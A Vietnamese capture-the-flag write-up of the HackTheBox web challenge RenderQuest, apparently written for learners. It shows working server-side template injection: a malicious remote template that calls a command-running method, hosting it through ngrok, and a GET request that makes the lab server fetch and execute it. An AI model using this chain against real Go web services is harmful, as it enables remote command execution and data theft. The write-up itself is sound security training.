# HackTheBox - Web - RenderQuest
Thử thách bắt đầu với một trang web hiển thị các tệp mẫu (.tpl) cục bộ và từ xa.

Check mã nguồn go, có một số vectơ tấn công cho SSRF và path traversal nhưng không có gì có thể khai thác. Mã này dường như thực thi mã từ các mẫu từ xa.
```go=
if remote == "true" {
tmplFile, err = readRemoteFile(page)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
} else {
tmplFile, err = readFile(TEMPLATE_DIR+"/"+page, "./")
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
}
tmpl, err := template.New("page").Parse(tmplFile)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, reqData)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
```
có một phương thức thực thi các lệnh hệ thống ở đoạn mã này.
```go=
func (p RequestData) FetchServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}
```
Chúng ta có thể tạo một tệp mẫu thực thi các lệnh trên máy chủ bằng cách sử dụng mã tạo khuôn mẫu.
Để xác định rằng backend đang sử dụng công cụ mẫu Go, có thể sử dụng các payload sau:
> {{ . }}: Đại diện cho cấu trúc dữ liệu được truyền làm đầu vào cho mẫu.
> Nếu dữ liệu được truyền là một đối tượng có thuộc tính, có thể sử dụng .{{ .Attribute_name_here }}
> {{ printf "%s" "printing text" }}: bạn cũng có thể gọi printf hoặc các lệnh khác.
Trong trường hợp này, chúng ta có thể gọi phương thức cho phép chúng ta thực thi các lệnh trên máy chủ thông qua .{{.FetchServerInfo "command_here"}}
Bây giờ chúng ta tạo một file exploit.tpl có nội dung
```go=
{{.FetchServerInfo "ls / lah"}}
```
Xong đó dựng 1 webserver lên và public
Để host local có thể dùng apache2 hoặc
```python=
python3 -m http.server 80
```
Sau đó dùng ngrok để có thể truy cập file này từ internet
```
ngrok http 80
```
Gửi 1 yêu cầu GET đến máy chủ truy cập mẫu từ xa này
```
GET /render?use_remote=true&page=https://2092-210-245-51-212.ngrok-free.app/exploit.tpl HTTP/1.1
Host: 167.99.85.216:30141
```
Có thể gửi trực tiếp bằng trình duyệt hoặc dùng curl

Flag ở trong thư mực root
Bây giờ chỉ cần sửa lệnh trong exploit.tpl cat flag ra là xong.
